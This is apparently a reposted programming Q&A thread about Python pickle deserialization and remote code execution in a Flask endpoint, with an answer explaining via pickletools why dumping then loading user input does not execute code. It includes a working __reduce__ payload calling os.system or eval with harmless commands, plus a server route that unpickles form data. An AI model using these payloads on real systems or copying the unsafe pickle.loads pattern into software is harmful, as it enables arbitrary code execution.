免責宣告:這個問題不是出于惡意目的!!我正在我自己的虛擬機上作業!
這里的文章演示了加載不受信任的 pickle 資料如何導致遠程代碼執行,我正在研究在沒有安全問題的情況下使用此作業流的方法。
我的問題是這樣的-如果我做了它使得Web應用程式獲取瓶的請求,用途pickle.dumps()上request.form,然后使用pickle.loads()什么以前傾倒,是否還執行惡意代碼的方法嗎?
示例服務器代碼:
@blueprint.route('/test', methods=['GET', 'POST'])
def test():
test=pickle.dumps(request.form)
test2=pickle.loads(test) # THE CODE SHOULD BE EXECUTED AT THIS POINT
return ...
這個作業流程仍然容易受到攻擊嗎?根據我的理解,最常見的 pickle 漏洞利用型別是通過 b64 字串并由pickle.loads(). 但是,如果pickle.dumps()在之前的表單上呼叫,是否可以達到相同的結果pickle.loads()?
我嘗試了幾件事,但沒有任何結果。如果您知道密碼,請告訴我:)
這是同一篇文章中的惡意用戶代碼示例
import pickle
import base64
import os
class RCE:
def __reduce__(self):
cmd = ('echo EXECUTED THIS STATEMENT')
return os.system, (cmd,)
if __name__ == '__main__':
pickled = pickle.dumps(RCE())
print(base64.urlsafe_b64encode(pickled))
# Running pickle.loads(pickle.dumps(RCE())) would execute 'echo EXECUTED THIS STATEMENT'
# I need to pass through RCE() because pickle.dumps() and pickle.loads() are server-side
這將回傳一個 base64 字串,當由 解釋時pickle.loads(),將執行cmd 中的代碼。
但是如何RCE()在請求中傳遞 的結果,以便它可以pickle.dumps()在服務器端轉儲,然后pickle.loads()仍然執行惡意代碼?
示例(此代碼不起作用):
客戶代碼
class RCE:
def __reduce__(self):
cmd = ('echo EXECUTED THIS STATEMENT')
return os.system, (cmd, )
data = {
'test': RCE()
}
s = requests.Session()
r = s.post(URL "/test", data=data)
服務器端代碼
@blueprint.route('/test', methods=['GET', 'POST'])
def test():
test=pickle.dumps(request.form)
test2=pickle.loads(test) # THE CODE SHOULD BE EXECUTED AT THIS POINT
return ...
示例(此代碼有效):
客戶代碼
class RCE:
def __reduce__(self):
cmd = ('echo EXECUTED THIS STATEMENT')
return os.system, (cmd, )
data = {
'test': pickle.dumps(RCE())
}
s = requests.Session()
r = s.post(URL "/test", data=data)
服務器端代碼
@blueprint.route('/test', methods=['GET', 'POST'])
def test():
test2=pickle.loads(request.form['test']) # THE CODE SHOULD BE EXECUTED AT THIS POINT
return ...
My thinking is the following, is it possible to have a string, that when serialized by pickle.dumps() on the server-side, returns the same value as if pickle.dumps(RCE()) was executed on the client-side. Of course, the result from pickle.dumps() on the server side would be a little different because of the request.form aspect. From my undestanding, as long as there is executable code in the string, pickle.loads() will execute it.
uj5u.com熱心網友回復:
不,服務器無法通過轉儲然后加載來執行遠程代碼,但您也無法加載腌制資料結構。
我將pickletools.dis用來演示實際發生的情況:
import pickle
import pickletools
class RCE:
def __reduce__(self):
return eval, ("print('MALICIOUS PYTHON CODE HERE')",)
pickled_malicious = pickle.dumps(RCE())
print("what is executed when loading malicious pickle:")
pickletools.dis(pickled_malicious)
print("pickle is type:", type(pickled_malicious))
pickled_string = pickle.dumps(pickled_malicious)
print("what is executed when loading the dump of malicious")
pickletools.dis(pickled_string)
當加載惡意代碼時,我們加載函式eval或os.system引數,然后REDUCE操作代碼運行該函式:
what is executed when loading malicious pickle:
0: \x80 PROTO 3
2: c GLOBAL 'builtins eval'
17: q BINPUT 0
19: X BINUNICODE "print('MALICIOUS PYTHON CODE HERE')"
59: q BINPUT 1
61: \x85 TUPLE1
62: q BINPUT 2
64: R REDUCE
65: q BINPUT 3
67: . STOP
腌制的惡意代碼本身雖然只是一個位元組物件,
pickle is type: <class 'bytes'>
因此,如果您轉儲加載只會加載文字位元組物件(或者如果您正在執行 base64 編碼,則可能是字串,但無論哪種方式,此時它都只是文字)
what is executed when loading the dump of malicious
0: \x80 PROTO 3
2: C SHORT_BINBYTES b"\x80\x03cbuiltins\neval\nq\x00X#\x00\x00\x00print('MALICIOUS PYTHON CODE HERE')q\x01\x85q\x02Rq\x03."
72: q BINPUT 0
74: . STOP
highest protocol among opcodes = 3
這意味著,如果服務器只是呼叫pickle.dumps輸入(它是包含 pickle 資料的 base64 資料字串或位元組資料,無論哪種方式,它在轉儲時都只是一個文字值),那么當它呼叫pickle.loads該結果時,它只會取回原始輸入。
任何將用戶輸入解釋為 pickle 資料的場景都很容易受到攻擊——但你不會在這里這樣做——你是從已知的安全輸入(輸入字串)創建 pickle 資料,然后加載它。
轉載請註明出處,本文鏈接:https://www.uj5u.com/qiye/325163.html
